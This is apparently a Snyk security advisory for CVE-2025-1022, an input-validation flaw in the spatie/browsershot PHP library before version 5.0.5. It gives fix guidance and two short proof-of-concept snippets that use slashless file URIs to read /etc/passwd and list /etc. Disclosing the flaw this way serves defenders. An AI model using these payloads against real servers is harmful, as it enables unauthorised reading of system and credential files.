Improper Input Validation Affecting spatie/browsershot package, versions <5.0.5


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.44% (37th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PHP-SPATIEBROWSERSHOT-8496747
  • published4 Feb 2025
  • disclosed11 Dec 2024
  • creditEe Yang Tee

Introduced: 11 Dec 2024

CVE-2025-1022  (opens in a new tab)
CWE-20  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade spatie/browsershot to version 5.0.5 or higher.

Overview

spatie/browsershot is a library for converting a webpage to an image or pdf using headless Chrome.

Affected versions of this package are vulnerable to Improper Input Validation in the setHtml function, invoked by Browsershot::html(), which can be bypassed by omitting the slashes in the file URI (e.g., file:../../../../etc/passwd). This is due to missing validations of the user input that should be blocking file URI schemes (e.g., file:// and file:/) in the HTML content.

Note: Further analysis has identified additional proof-of-concept exploits leveraging the vulnerable function. Developers using this package should ensure proper input validation to mitigate potential risks, as the issue remains unaddressed.

PoC

Arbitrary file read:

require 'vendor/autoload.php';

use Spatie\Browsershot\Browsershot;

$code = '<object data="file:../../../etc/passwd" width="500" height="400">'; Browsershot::html($code) ->save('html.pdf');

System directory listing:

require 'vendor/autoload.php';

use Spatie\Browsershot\Browsershot;

$code = <<<HTML <iframe src="file:../../../../etc" width="500" height="400"></iframe> HTML; Browsershot::html($code) ->save('html.pdf');

CVSS Base Scores

version 4.0
version 3.1